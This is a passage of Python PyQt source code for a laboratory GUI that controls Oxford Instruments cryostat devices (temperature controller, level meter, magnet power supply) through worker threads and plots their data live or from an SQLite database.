self.dataLock = Lock()\n self.dataLock_live = Lock()\n self.app = app\n\n QTimer.singleShot(0, self.initialize_all_windows)\n\n def closeEvent(self, event):\n super(mainWindow, self).closeEvent(event)\n self.app.quit()\n\n def initialize_all_windows(self):\n self.initialize_window_ITC()\n self.initialize_window_ILM()\n self.initialize_window_IPS()\n self.initialize_window_Log_conf()\n self.initialize_window_LakeShore350()\n self.initialize_window_Errors()\n self.show_data()\n self.actionLogging_LIVE.triggered['bool'].connect(self.run_logger_live)\n\n def running_thread(self, worker, dataname, threadname, info=None, **kwargs):\n \"\"\"Set up a new Thread, and insert the worker class, which runs in the new thread\n Args:\n worker - the class (as a class instance) which should run inside\n dataname - the name for which a dict entry should be made in the self.data dict,\n in case the Thread is passing data (e.g. sensors, instrument status...)\n threadname - the name as which the thread will be listed in self.threads,\n to be used for e.g. signals\n listing the thread in self.threads is also important to protect it\n from garbage collection!\n Returns:\n the worker class instance, useful for connecting signals directly\n \"\"\"\n\n thread = QThread()\n self.threads[threadname] = (worker, thread)\n worker.moveToThread(thread)\n\n if dataname in self.data or dataname == None:\n pass\n else:\n with self.dataLock:\n self.data[dataname] = dict()\n\n thread.started.connect(worker.work)\n thread.start()\n self.sig_running_new_thread.emit()\n return worker\n\n def stopping_thread(self, threadname):\n \"\"\"Stop the thread specified by the argument threadname, delete its entry in self.threads\"\"\"\n\n # self.threads[threadname][0].stop()\n self.threads[threadname][1].quit()\n self.threads[threadname][1].wait()\n del self.threads[threadname]\n\n def show_error_textBrowser(self, text):\n \"\"\" append error to Error window\"\"\"\n self.Errors_window.textErrors.append('{} - {}'.format(convert_time(time.time()),text))\n\n def connectdb(self, dbname):\n \"\"\"connect to the database, provide the cursor for the whole class\"\"\"\n try:\n self.conn = sqlite3.connect(dbname)\n self.mycursor = self.conn.cursor()\n except sqlite3.connect.Error as err:\n raise AssertionError(\"Logger: Couldn't establish connection {}\".format(err))\n\n def show_data(self): # a lot of work to do\n \"\"\"connect GUI signals for plotting, setting up some of the needs of plotting\"\"\"\n self.action_plotDatabase.triggered.connect(self.show_dataplotdb_configuration)\n self.action_plotLive.triggered.connect(self.show_dataplotlive_configuration)\n self.windows_plotting = []\n\n # these will hold the strings which the user selects to extract the data from db with the sql query and plot it\n # x,y1.. is for tablenames, x,y1.._plot is for column names in the tables respectively\n self.plotting_instrument_for_x = 0\n self.plotting_instrument_for_y1 = 0\n self.plotting_instrument_for_y2 = 0\n\n self.plotting_comboValue_Axis_X_plot = 0\n self.plotting_comboValue_Axis_Y1_plot = 0\n self.plotting_data_y2_plot = 0\n\n def show_dataplotdb_configuration(self):\n self.dataplot_db = Window_ui(ui_file='.\\\\configurations\\\\Data_display_selection_database.ui')\n self.dataplot_db.show()\n # populating the combobox instruments tab with tablenames:\n self.mycursor.execute(\"SELECT name FROM sqlite_master where type='table'\")\n axis2 = self.mycursor.fetchall()\n axis2.insert(0, (\"-\",))\n\n self.dataplot_db.comboInstr_Axis_X.clear()\n self.dataplot_db.comboInstr_Axis_Y1.clear()\n self.dataplot_db.comboInstr_Axis_Y2.clear()\n self.dataplot_db.comboInstr_Axis_Y3.clear()\n self.dataplot_db.comboInstr_Axis_Y4.clear()\n self.dataplot_db.comboInstr_Axis_Y5.clear()\n\n for i in axis2:\n self.dataplot_db.comboInstr_Axis_X.addItems(i)\n self.dataplot_db.comboInstr_Axis_Y1.addItems(i)\n self.dataplot_db.comboInstr_Axis_Y2.addItems(i)\n self.dataplot_db.comboInstr_Axis_Y3.addItems(i)\n self.dataplot_db.comboInstr_Axis_Y4.addItems(i)\n self.dataplot_db.comboInstr_Axis_Y5.addItems(i)\n self.dataplot_db.comboInstr_Axis_X.activated.connect(self.selection_x)\n self.dataplot_db.comboInstr_Axis_Y1.activated.connect(self.selection_y1)\n self.dataplot_db.buttonBox.clicked.connect(self.plotstart)\n\n def show_dataplotlive_configuration(self):\n \"\"\"\n open the window for configuration of the Live-plotting to be done,\n fill the comboboxes with respective values, to choose from instruments\n connect to actions being taken in this configuration window\n \"\"\"\n self.dataplot_live_conf = Window_ui(ui_file='.\\\\configurations\\\\Data_display_selection_live.ui')\n \n # initialize some \"storage space\" for data\n self.dataplot_live_conf.axes = dict()\n self.dataplot_live_conf.data = dict()\n\n if not hasattr(self, \"data_live\"):\n self.show_error_textBrowser('no live data to plot!')\n self.show_error_textBrowser('If you want to see live data, start the live logger!')\n return\n self.dataplot_live_conf.show()\n\n with self.dataLock_live:\n axis_instrument = list(self.data_live) # all the dictionary keys\n axis_instrument.insert(0, \"-\") # for no chosen value by default\n self.dataplot_live_conf.comboInstr_Axis_X.clear()\n self.dataplot_live_conf.comboInstr_Axis_Y1.clear()\n self.dataplot_live_conf.comboInstr_Axis_Y2.clear()\n self.dataplot_live_conf.comboInstr_Axis_Y3.clear()\n self.dataplot_live_conf.comboInstr_Axis_Y4.clear()\n self.dataplot_live_conf.comboInstr_Axis_Y5.clear()\n\n # for i in axis_instrument: # filling the comboboxes for the instrument\n # print(i, type(i))\n self.dataplot_live_conf.comboInstr_Axis_X.addItems(axis_instrument)\n self.dataplot_live_conf.comboInstr_Axis_Y1.addItems(axis_instrument)\n self.dataplot_live_conf.comboInstr_Axis_Y2.addItems(axis_instrument)\n self.dataplot_live_conf.comboInstr_Axis_Y3.addItems(axis_instrument)\n self.dataplot_live_conf.comboInstr_Axis_Y4.addItems(axis_instrument)\n self.dataplot_live_conf.comboInstr_Axis_Y5.addItems(axis_instrument)\n # actions in case instruments are chosen in comboboxes\n self.dataplot_live_conf.comboInstr_Axis_X.activated.connect(lambda: self.plotting_selection_instrument(GUI_value=self.dataplot_live_conf.comboValue_Axis_X,\n GUI_instr=self.dataplot_live_conf.comboInstr_Axis_X,\n livevsdb=\"LIVE\",\n axis='X', \n dataplot=self.dataplot_live_conf))\n self.dataplot_live_conf.comboInstr_Axis_Y1.activated.connect(lambda: self.plotting_selection_instrument(GUI_value=self.dataplot_live_conf.comboValue_Axis_Y1,\n GUI_instr=self.dataplot_live_conf.comboInstr_Axis_Y1,\n livevsdb=\"LIVE\",\n axis='Y1', \n dataplot=self.dataplot_live_conf))\n self.dataplot_live_conf.comboInstr_Axis_Y2.activated.connect(lambda: self.plotting_selection_instrument(GUI_value=self.dataplot_live_conf.comboValue_Axis_Y2,\n GUI_instr=self.dataplot_live_conf.comboInstr_Axis_Y2,\n livevsdb=\"LIVE\",\n axis='Y2', \n dataplot=self.dataplot_live_conf))\n self.dataplot_live_conf.comboInstr_Axis_Y3.activated.connect(lambda: self.plotting_selection_instrument(GUI_value=self.dataplot_live_conf.comboValue_Axis_Y3,\n GUI_instr=self.dataplot_live_conf.comboInstr_Axis_Y3,\n livevsdb=\"LIVE\",\n axis='Y3', \n dataplot=self.dataplot_live_conf))\n self.dataplot_live_conf.comboInstr_Axis_Y4.activated.connect(lambda: self.plotting_selection_instrument(GUI_value=self.dataplot_live_conf.comboValue_Axis_Y4,\n GUI_instr=self.dataplot_live_conf.comboInstr_Axis_Y4,\n livevsdb=\"LIVE\",\n axis='Y4', \n dataplot=self.dataplot_live_conf))\n self.dataplot_live_conf.comboInstr_Axis_Y5.activated.connect(lambda: self.plotting_selection_instrument(GUI_value=self.dataplot_live_conf.comboValue_Axis_Y5,\n GUI_instr=self.dataplot_live_conf.comboInstr_Axis_Y5,\n livevsdb=\"LIVE\",\n axis='Y5', \n dataplot=self.dataplot_live_conf))\n\n self.dataplot_live_conf.buttonBox.clicked.connect(lambda: self.plotting_display(dataplot=self.dataplot_live_conf))\n self.dataplot_live_conf.buttonBox.clicked.connect(lambda: self.dataplot_live_conf.close())\n self.dataplot_live_conf.buttonCancel.clicked.connect(lambda: self.dataplot_live_conf.close())\n\n def plotting_selection_instrument(self, livevsdb, GUI_instr, GUI_value, axis, dataplot):\n \"\"\"\n filling the Value column combobox in case the corresponding\n element of the instrument column combobox was chosen\n thus:\n - check for the chosen instrument,\n - get the data for the new combobox\n - chose the action\n \"\"\"\n GUI_value.addItems((\"-\",))\n instrument_name = GUI_instr.currentText()\n # print(\"instrument for x was set to: \",self.plotting_instrument_for_x)\n if livevsdb == \"LIVE\":\n with self.dataLock_live:\n value_names = list(self.data_live[instrument_name])\n # elif livevsdb == \"DB\":\n # axis = []\n # self.mycursor.execute(\"SELECT * FROM {}\".format(self.plotting_instrument_for_x))\n # colnames= self.mycursor.description\n # for row in colnames:\n # axis.append(row[0])\n GUI_value.addItems(value_names)\n GUI_value.activated.connect(lambda: self.plotting_selection_value(GUI_instr=GUI_instr,\n GUI_value=GUI_value,\n livevsdb=\"LIVE\",\n axis=axis,\n dataplot=dataplot))\n\n def x_changed(self):\n self.plotting_comboValue_Axis_X_plot=self.dataplot.comboValue_Axis_X.currentText()\n\n def plotting_selection_value(self, GUI_instr, GUI_value, livevsdb, axis, dataplot):\n value_name = GUI_value.currentText()\n instrument_name = GUI_instr.currentText()\n dataplot.axes[axis] = value_name\n\n if livevsdb == 'LIVE':\n with self.dataLock_live:\n dataplot.data[axis] = self.data_live[instrument_name][value_name]\n\n def plotting_display(self, dataplot):\n y = None\n try:\n x = dataplot.data['X']\n y = [dataplot.data[key] for key in dataplot.data if key != 'X' ]\n except KeyError:\n self.show_error_textBrowser('Plotting: You certainly did not choose an X axis, try again!')\n return\n if y is None:\n self.show_error_textBrowser('Plotting: You did not choose a single Y axis to plot, try again!')\n return\n data = [[x, yn] for yn in y]\n label_y = None\n try:\n label_y = dataplot.axes['Y1']\n except KeyError:\n for key in dataplot.axes:\n try:\n label_y = dataplot.axes[key]\n except KeyError:\n pass\n if label_y is None:\n self.show_error_textBrowser('Plotting: You did not choose a single Y axis to plot, try again!')\n return\n window = Window_plotting(data=data, label_x=dataplot.axes['X'], label_y=label_y, title='your advertisment could be here!')\n window.show()\n # window.sig_closing.connect(lambda: self.deleting_object(dataplot))\n self.windows_plotting.append(window)\n\n def deleting_object(self, object_to_delete):\n del object_to_delete\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n def selection_y1(self, dataplot, livevsdb):\n dataplot.comboValue_Axis_Y1.addItems(tuple(\"-\"))\n instrument_for_y1 = self.dataplot.comboInstr_Axis_Y1.currentText()\n\n axis = []\n if livevsdb == \"LIVE\":\n axis = list(self.data_live[instrument_for_y1])\n # elif livevsdb == \"DB\":\n # self.mycursor.execute(\"SELECT * FROM {}\".format(self.plotting_instrument_for_y1))\n # colnames= self.mycursor.description\n # for row in colnames:\n # axis.append(row[0])\n self.dataplot.comboValue_Axis_Y1.addItems(axis)\n self.dataplot.comboValue_Axis_Y1.activated.connect(self.y1_changed)\n\n def y1_changed(self):\n self.plotting_comboValue_Axis_Y1_plot=self.dataplot.comboValue_Axis_Y1.currentText()\n\n #gotta have an if statement for the case when x and y values are from different tables\n def plotstart(self):\n print(self.plotting_comboValue_Axis_X_plot,self.plotting_comboValue_Axis_Y1_plot, self.plotting_instrument_for_x)\n array1=[]\n array2=[]\n if self.plotting_instrument_for_x==self.plotting_instrument_for_y1:\n sql=\"SELECT {},{} from {} \".format(self.plotting_comboValue_Axis_X_plot,self.plotting_comboValue_Axis_Y1_plot,self.plotting_instrument_for_x)\n self.mycursor.execute(sql)\n data =self.mycursor.fetchall()\n\n for row in data:\n array1.append(list(row))\n\n #this is for is for omiting 'None' values from the array, skipping this step would cause the plot to break!\n\n nparray = np.asarray(array1)[np.asarray(array1) != np.array(None)]\n\n #After renaming x to instrument_for_x and y1 to instrument_for_y1, the nparray became 1 dimensional, so the\n #original code:nparray_x = nparray[:,[0]] did not work, this is a workaround, i have no idea what caused it.\n #selecting different instruments for x and y doesn't have this problem as the data is stored in separate arrays.\n\n nparray_x = nparray[0::2]\n nparray_y = nparray[1::2]\n\n plt.figure()\n plt.plot(nparray_x,nparray_y)\n #labels:\n plt.xlabel(self.plotting_comboValue_Axis_X_plot)\n plt.ylabel(self.plotting_comboValue_Axis_Y1_plot)\n\n\n plt.draw()\n\n plt.show()\n else:\n sql=\"SELECT {} FROM {}\".format(self.plotting_comboValue_Axis_X_plot,self.plotting_instrument_for_x)\n self.mycursor.execute(sql)\n data=self.mycursor.fetchall()\n\n for row in data:\n array1.append(list(row))\n nparray_x=np.asarray(array1)[np.asarray(array1) != np.array(None)]\n\n sql=\"SELECT {} FROM {}\".format(self.plotting_comboValue_Axis_Y1_plot,self.plotting_instrument_for_y1)\n self.mycursor.execute(sql)\n data=self.mycursor.fetchall()\n\n for row in data:\n array2.append(list(row))\n nparray_y=np.asarray(array2)[np.asarray(array2) != np.array(None)]\n\n #there can be still some problems if the dimensions don't match so:\n if len(nparray_x)>len(nparray_y):\n nparray_x=nparray_x[0:len(nparray_y)]\n else:\n nparray_y=nparray_y[0:len(nparray_x)]\n\n plt.figure()\n plt.plot(nparray_x,nparray_y)\n #labels:\n plt.xlabel(self.plotting_comboValue_Axis_X_plot+\" from table: \"+str(self.plotting_instrument_for_x))\n plt.ylabel(self.plotting_comboValue_Axis_Y1_plot+\" from table: \"+str(self.plotting_instrument_for_y1))\n\n\n plt.draw()\n\n plt.show()\n\n\n # ------- Oxford Instruments\n # ------- ------- ITC\n def initialize_window_ITC(self):\n \"\"\"initialize ITC Window\"\"\"\n self.ITC_window = Window_ui(ui_file='.\\\\Oxford\\\\ITC_control.ui')\n self.ITC_window.sig_closing.connect(lambda: self.action_show_ITC.setChecked(False))\n\n self.action_run_ITC.triggered['bool'].connect(self.run_ITC)\n self.action_show_ITC.triggered['bool'].connect(self.show_ITC)\n # self.mdiArea.addSubWindow(self.ITC_window)\n\n @pyqtSlot(bool)\n def run_ITC(self, boolean):\n \"\"\"method to start/stop the thread which controls the Oxford ITC\"\"\"\n\n if boolean:\n try:\n # self.ITC = itc503('COM6')\n # getInfodata = cls_itc(self.ITC)\n getInfodata = self.running_thread(ITC_Updater(ITC_Instrumentadress), 'ITC', 'control_ITC')\n\n getInfodata.sig_Infodata.connect(self.store_data_itc)\n # getInfodata.sig_visaerror.connect(self.printing)\n getInfodata.sig_visaerror.connect(self.show_error_textBrowser)\n # getInfodata.sig_assertion.connect(self.printing)\n getInfodata.sig_assertion.connect(self.show_error_textBrowser)\n getInfodata.sig_visatimeout.connect(lambda: self.show_error_textBrowser('ITC: timeout'))\n\n self.data['ITC'] = dict(set_temperature = 0,\n Sensor_1_K =0,\n Sensor_2_K =0,\n Sensor_3_K =0,\n temperature_error =0,\n heater_output_as_percent =0,\n heater_output_as_voltage =0,\n gas_flow_output =0,\n proportional_band =0,\n integral_action_time =0,\n derivative_action_time = 0)\n integration_length = 7\n self.ITC_Kpmin = dict(newtime = [time.time()]*integration_length,\n Sensor_1_K = [0]*integration_length,\n Sensor_2_K = [0]*integration_length,\n Sensor_3_K = [0]*integration_length,\n Sensor_4_K = [0]*integration_length)\n\n # setting ITC values by GUI ITC window\n self.ITC_window.spinsetTemp.valueChanged.connect(lambda value: self.threads['control_ITC'][0].gettoset_Temperature(value))\n self.ITC_window.spinsetTemp.editingFinished.connect(lambda: self.threads['control_ITC'][0].setTemperature())\n\n self.ITC_window.spinsetGasOutput.valueChanged.connect(lambda value: self.threads['control_ITC'][0].gettoset_GasOutput(value))\n self.ITC_window.spinsetGasOutput.editingFinished.connect(lambda : self.threads['control_ITC'][0].setGasOutput())\n\n self.ITC_window.spinsetHeaterPercent.valueChanged.connect(lambda value: self.threads['control_ITC'][0].gettoset_HeaterOutput(value))\n self.ITC_window.spinsetHeaterPercent.editingFinished.connect(lambda : self.threads['control_ITC'][0].setHeaterOutput())\n\n self.ITC_window.spinsetProportionalID.valueChanged.connect(lambda value: self.threads['control_ITC'][0].gettoset_Proportional(value))\n self.ITC_window.spinsetProportionalID.editingFinished.connect(lambda : self.threads['control_ITC'][0].setProportional())\n\n self.ITC_window.spinsetPIntegrationD.valueChanged.connect(lambda value: self.threads['control_ITC'][0].gettoset_Integral(value))\n self.ITC_window.spinsetPIntegrationD.editingFinished.connect(lambda : self.threads['control_ITC'][0].setIntegral())\n\n self.ITC_window.spinsetPIDerivative.valueChanged.connect(lambda value: self.threads['control_ITC'][0].gettoset_Derivative(value))\n self.ITC_window.spinsetPIDerivative.editingFinished.connect(lambda : self.threads['control_ITC'][0].setDerivative())\n\n self.ITC_window.combosetHeatersens.activated['int'].connect(lambda value: self.threads['control_ITC'][0].setHeaterSensor(value + 1))\n\n self.ITC_window.combosetAutocontrol.activated['int'].connect(lambda value: self.threads['control_ITC'][0].setAutoControl(value))\n\n self.ITC_window.spin_threadinterval.valueChanged.connect(lambda value: self.threads['control_ITC'][0].setInterval(value))\n\n # thread.started.connect(getInfodata.work)\n # thread.start()\n self.action_run_ITC.setChecked(True)\n self.logging_running_ITC = True\n except VisaIOError as e:\n self.action_run_ITC.setChecked(False)\n self.show_error_textBrowser(e)\n # print(e) # TODO: open window displaying the error message\n\n else:\n # possibly implement putting the instrument back to local operation\n self.ITC_window.spinsetTemp.valueChanged.disconnect()\n self.ITC_window.spinsetTemp.editingFinished.disconnect()\n self.ITC_window.spinsetGasOutput.valueChanged.disconnect()\n self.ITC_window.spinsetGasOutput.editingFinished.disconnect()\n self.ITC_window.spinsetHeaterPercent.valueChanged.disconnect()\n self.ITC_window.spinsetHeaterPercent.editingFinished.disconnect()\n self.ITC_window.spinsetProportionalID.valueChanged.disconnect()\n self.ITC_window.spinsetProportionalID.editingFinished.disconnect()\n self.ITC_window.spinsetPIntegrationD.valueChanged.disconnect()\n self.ITC_window.spinsetPIntegrationD.editingFinished.disconnect()\n self.ITC_window.spinsetPIDerivative.valueChanged.disconnect()\n self.ITC_window.spinsetPIDerivative.editingFinished.disconnect()\n self.ITC_window.combosetHeatersens.activated['int'].disconnect()\n self.ITC_window.combosetAutocontrol.activated['int'].disconnect()\n self.ITC_window.spin_threadinterval.valueChanged.disconnect()\n\n self.stopping_thread('control_ITC')\n self.action_run_ITC.setChecked(False)\n self.logging_running_ITC = False\n\n @pyqtSlot(bool)\n def show_ITC(self, boolean):\n \"\"\"display/close the ITC data & control window\"\"\"\n if boolean:\n self.ITC_window.show()\n else:\n self.ITC_window.close()\n\n @pyqtSlot(dict)\n def store_data_itc(self, data):\n \"\"\"\n Calculate the rate of change of Temperature on the sensors [K/min]\n Store ITC data in self.data['ITC'], update ITC_window\n \"\"\"\n\n timediffs = [(entry-self.ITC_Kpmin['newtime'][i+1])/60 for i, entry in enumerate(self.ITC_Kpmin['newtime'][:-1])]# -self.ITC_Kpmin['newtime'])/60\n tempdiffs = dict(Sensor_1_Kpmin=[entry-self.ITC_Kpmin['Sensor_1_K'][i+1] for i, entry in enumerate(self.ITC_Kpmin['Sensor_1_K'][:-1])],\n Sensor_2_Kpmin=[entry-self.ITC_Kpmin['Sensor_2_K'][i+1] for i, entry in enumerate(self.ITC_Kpmin['Sensor_2_K'][:-1])],\n Sensor_3_Kpmin=[entry-self.ITC_Kpmin['Sensor_3_K'][i+1] for i, entry in enumerate(self.ITC_Kpmin['Sensor_3_K'][:-1])])\n # integrating over the lists, to get an integrated rate of Kelvin/min\n integrated_diff = dict(Sensor_1_Kpmin=np.mean(np.array(tempdiffs['Sensor_1_Kpmin'])/np.array(timediffs)),\n Sensor_2_Kpmin=np.mean(np.array(tempdiffs['Sensor_2_Kpmin'])/np.array(timediffs)),\n Sensor_3_Kpmin=np.mean(np.array(tempdiffs['Sensor_3_Kpmin'])/np.array(timediffs)))\n\n if not integrated_diff['Sensor_1_Kpmin'] == 0:\n self.ITC_window.lcdTemp_sens1_Kpmin.display(integrated_diff['Sensor_1_Kpmin'])\n if not integrated_diff['Sensor_2_Kpmin'] == 0:\n self.ITC_window.lcdTemp_sens2_Kpmin.display(integrated_diff['Sensor_2_Kpmin'])\n if not integrated_diff['Sensor_3_Kpmin'] == 0:\n self.ITC_window.lcdTemp_sens3_Kpmin.display(integrated_diff['Sensor_3_Kpmin'])\n\n # advancing entries to the next slot\n for i, entry in enumerate(self.ITC_Kpmin['newtime'][:-1]):\n self.ITC_Kpmin['newtime'][i+1] = entry\n self.ITC_Kpmin['Sensor_1_K'][i+1] = self.ITC_Kpmin['Sensor_1_K'][i]\n self.ITC_Kpmin['Sensor_2_K'][i+1] = self.ITC_Kpmin['Sensor_2_K'][i]\n self.ITC_Kpmin['Sensor_3_K'][i+1] = self.ITC_Kpmin['Sensor_3_K'][i]\n\n # including the new values\n self.ITC_Kpmin['newtime'][0] = time.time()\n self.ITC_Kpmin['Sensor_1_K'][0] = deepcopy(data['Sensor_1_K']) if not data['Sensor_1_K'] == None else 0\n self.ITC_Kpmin['Sensor_2_K'][0] = deepcopy(data['Sensor_2_K']) if not data['Sensor_1_K'] == None else 0\n self.ITC_Kpmin['Sensor_3_K'][0] = deepcopy(data['Sensor_3_K']) if not data['Sensor_1_K'] == None else 0\n data.update(dict(Sensor_1_Kpmin=integrated_diff['Sensor_1_Kpmin'],\n Sensor_2_Kpmin=integrated_diff['Sensor_2_Kpmin'],\n Sensor_3_Kpmin=integrated_diff['Sensor_3_Kpmin']))\n\n data['date'] = convert_time(time.time())\n with self.dataLock:\n self.data['ITC'].update(data)\n # this needs to draw from the self.data['INSTRUMENT'] so that in case one of the keys did not show up,\n # since the command failed in the communication with the device, the last value is retained\n if not self.data['ITC']['Sensor_1_K'] == None:\n self.ITC_window.lcdTemp_sens1_K.display(self.data['ITC']['Sensor_1_K'])\n if not self.data['ITC']['Sensor_2_K'] == None:\n self.ITC_window.lcdTemp_sens2_K.display(self.data['ITC']['Sensor_2_K'])\n if not self.data['ITC']['Sensor_3_K'] == None:\n self.ITC_window.lcdTemp_sens3_K.display(self.data['ITC']['Sensor_3_K'])\n\n if not self.data['ITC']['set_temperature'] == None:\n self.ITC_window.lcdTemp_set.display(self.data['ITC']['set_temperature'])\n if not self.data['ITC']['temperature_error'] == None:\n self.ITC_window.lcdTemp_err.display(self.data['ITC']['temperature_error'])\n if not self.data['ITC']['heater_output_as_percent'] == None:\n self.ITC_window.progressHeaterPercent.setValue(self.data['ITC']['heater_output_as_percent'])\n if not self.data['ITC']['heater_output_as_voltage'] == None:\n self.ITC_window.lcdHeaterVoltage.display(self.data['ITC']['heater_output_as_voltage'])\n if not self.data['ITC']['gas_flow_output'] == None:\n self.ITC_window.progressNeedleValve.setValue(self.data['ITC']['gas_flow_output'])\n if not self.data['ITC']['gas_flow_output'] == None:\n self.ITC_window.lcdNeedleValve_percent.display(self.data['ITC']['gas_flow_output'])\n if not self.data['ITC']['proportional_band'] == None:\n self.ITC_window.lcdProportionalID.display(self.data['ITC']['proportional_band'])\n if not self.data['ITC']['integral_action_time'] == None:\n self.ITC_window.lcdPIntegrationD.display(self.data['ITC']['integral_action_time'])\n if not self.data['ITC']['derivative_action_time'] == None:\n self.ITC_window.lcdPIDerivative.display(self.data['ITC']['derivative_action_time'])\n\n\n # ------- ------- ILM\n def initialize_window_ILM(self):\n \"\"\"initialize ILM Window\"\"\"\n self.ILM_window = Window_ui(ui_file='.\\\\Oxford\\\\ILM_control.ui')\n self.ILM_window.sig_closing.connect(lambda: self.action_show_ILM.setChecked(False))\n\n self.action_run_ILM.triggered['bool'].connect(self.run_ILM)\n self.action_show_ILM.triggered['bool'].connect(self.show_ILM)\n\n @pyqtSlot(bool)\n def run_ILM(self, boolean):\n \"\"\"start/stop the Level Meter thread\"\"\"\n\n\n if boolean:\n try:\n getInfodata = self.running_thread(ILM_Updater(InstrumentAddress=ILM_Instrumentadress),'ILM', 'control_ILM')\n\n getInfodata.sig_Infodata.connect(self.store_data_ilm)\n # getInfodata.sig_visaerror.connect(self.printing)\n # getInfodata.sig_assertion.connect(self.printing)\n getInfodata.sig_visaerror.connect(self.show_error_textBrowser)\n getInfodata.sig_assertion.connect(self.show_error_textBrowser)\n getInfodata.sig_visatimeout.connect(lambda: self.show_error_textBrowser('ILM: timeout'))\n\n self.ILM_window.combosetProbingRate_chan1.activated['int'].connect(lambda value: self.threads['control_ILM'][0].setProbingSpeed(value, 1))\n # self.ILM_window.combosetProbingRate_chan2.activated['int'].connect(lambda value: self.threads['control_ILM'][0].setProbingSpeed(value, 2))\n\n self.ILM_window.spin_threadinterval.valueChanged.connect(lambda value: self.threads['control_ILM'][0].setInterval(value))\n\n self.action_run_ILM.setChecked(True)\n\n except VisaIOError as e:\n self.action_run_ILM.setChecked(False)\n self.show_error_textBrowser(e)\n # print(e) # TODO: open window displaying the error message\n else:\n self.action_run_ILM.setChecked(False)\n self.stopping_thread('control_ILM')\n\n @pyqtSlot(bool)\n def show_ILM(self, boolean):\n \"\"\"display/close the ILM data & control window\"\"\"\n if boolean:\n self.ILM_window.show()\n else:\n self.ILM_window.close()\n\n @pyqtSlot(dict)\n def store_data_ilm(self, data):\n \"\"\"Store ILM data in self.data['ILM'], update ILM_window\"\"\"\n with self.dataLock:\n data['date'] = convert_time(time.time())\n self.data['ILM'].update(data)\n # this needs to draw from the self.data['INSTRUMENT'] so that in case one of the keys did not show up,\n # since the command failed in the communication with the device, the last value is retained\n chan1 = 100 if self.data['ILM']['channel_1_level'] > 100 else self.data['ILM']['channel_1_level']\n chan2 = 100 if self.data['ILM']['channel_2_level'] > 100 else self.data['ILM']['channel_2_level']\n self.ILM_window.progressLevelHe.setValue(chan1)\n self.ILM_window.progressLevelN2.setValue(chan2)\n\n self.ILM_window.lcdLevelHe.display(self.data['ILM']['channel_1_level'])\n self.ILM_window.lcdLevelN2.display(self.data['ILM']['channel_2_level'])\n\n self.MainDock_HeLevel.setValue(chan1)\n self.MainDock_N2Level.setValue(chan2)\n # print(self.data['ILM']['channel_1_level'], self.data['ILM']['channel_2_level'])\n\n # ------- ------- IPS\n def initialize_window_IPS(self):\n \"\"\"initialize PS Window\"\"\"\n self.IPS_window = Window_ui(ui_file='.\\\\Oxford\\\\IPS_control.ui')\n self.IPS_window.sig_closing.connect(lambda: self.action_show_IPS.setChecked(False))\n\n self.action_run_IPS.triggered['bool'].connect(self.run_IPS)\n self.action_show_IPS.triggered['bool'].connect(self.show_IPS)\n\n self.IPS_window.labelStatusMagnet.setText('')\n self.IPS_window.labelStatusCurrent.setText('')\n self.IPS_window.labelStatusActivity.setText('')\n self.IPS_window.labelStatusLocRem.setText('')\n self.IPS_window.labelStatusSwitchHeater.setText('')\n\n @pyqtSlot(bool)\n def run_IPS(self, boolean):\n \"\"\"start/stop the Powersupply thread\"\"\"\n\n if boolean:\n try:\n getInfodata = self.running_thread(IPS_Updater(InstrumentAddress=IPS_Instrumentadress),'IPS', 'control_IPS')\n\n getInfodata.sig_Infodata.connect(self.store_data_ips)\n # getInfodata.sig_visaerror.connect(self.printing)\n # getInfodata.sig_assertion.connect(self.printing)\n getInfodata.sig_visaerror.connect(self.show_error_textBrowser)\n getInfodata.sig_assertion.connect(self.show_error_textBrowser)\n getInfodata.sig_visatimeout.connect(lambda: self.show_error_textBrowser('IPS: timeout'))\n\n self.IPS_window.comboSetActivity.activated['int'].connect(lambda value: self.threads['control_IPS'][0].setActivity(value))\n self.IPS_window.comboSetSwitchHeater.activated['int'].connect(lambda value: self.threads['control_IPS'][0].setSwitchHeater(value))\n\n self.IPS_window.spinSetFieldSetPoint.valueChanged.connect(lambda value: self.threads['control_IPS'][0].gettoset_FieldSetPoint(value))\n self.IPS_window.spinSetFieldSetPoint.editingFinished.connect(lambda: self.threads['control_IPS'][0].setFieldSetPoint())\n\n self.IPS_window.spinSetFieldSweepRate.valueChanged.connect(lambda value: self.threads['control_IPS'][0].gettoset_FieldSweepRate(value))\n self.IPS_window.spinSetFieldSweepRate.editingFinished.connect(lambda: self.threads['control_IPS'][0].setFieldSweepRate())\n\n self.IPS_window.spin_threadinterval.valueChanged.connect(lambda value: self.threads['control_IPS'][0].setInterval(value))\n\n self.action_run_IPS.setChecked(True)\n\n except VisaIOError as e:\n self.action_run_IPS.setChecked(False)\n self.show_error_textBrowser(e)\n # print(e) # TODO: open window displaying the error message\n else:\n self.action_run_IPS.setChecked(False)\n self.stopping_thread('control_IPS')\n\n @pyqtSlot(bool)\n def show_IPS(self, boolean):\n \"\"\"display/close the ILM data & control window\"\"\"\n if boolean:\n self.IPS_window.show()\n else:\n self.IPS_window.close()\n\n @pyqtSlot(dict)\n def store_data_ips(self, data):\n \"\"\"Store PS data in self.data['ILM'], update PS_window\"\"\"\n with self.dataLock:\n data['date'] = convert_time(time.time())\n self.data['IPS'].update(data)\n # this needs to draw from the self.data['INSTRUMENT'] so that in case one of the keys did not show up,\n # since the command failed in the communication with the device, the last value is retained\n self.IPS_window.lcdFieldSetPoint.display(self.data['IPS']['FIELD_set_point'])\n self.IPS_window.lcdFieldSweepRate.display(self.data['IPS']['FIELD_sweep_rate'])\n\n self.IPS_window.lcdOutputField.display(self.data['IPS']['FIELD_output'])\n self.IPS_window.lcdMeasuredMagnetCurrent.display(self.data['IPS']['measured_magnet_current'])\n self.IPS_window.lcdOutputCurrent.display(self.data['IPS']['CURRENT_output'])\n # self.IPS_window.lcdXXX.display(self.data['IPS']['CURRENT_set_point'])\n # self.IPS_window.lcdXXX.display(self.data['IPS']['CURRENT_sweep_rate'])\n\n self.IPS_window.lcdLeadResistance.display(self.data['IPS']['lead_resistance'])\n\n self.IPS_window.lcdPersistentMagnetField.display(self.data['IPS']['persistent_magnet_field'])\n self.IPS_window.lcdTripField.display(self.data['IPS']['trip_field'])\n self.IPS_window.lcdPersistentMagnetCurrent.display(self.data['IPS']['persistent_magnet_current'])\n self.IPS_window.lcdTripCurrent.display(self.data['IPS']['trip_current'])\n\n self.IPS_window.labelStatusMagnet.setText(self.data['IPS']['status_magnet'])\n self.IPS_window.labelStatusCurrent.setText(self.data['IPS']['status_current'])\n self.IPS_window.labelStatusActivity.setText(self.data['IPS']['status_activity'])\n 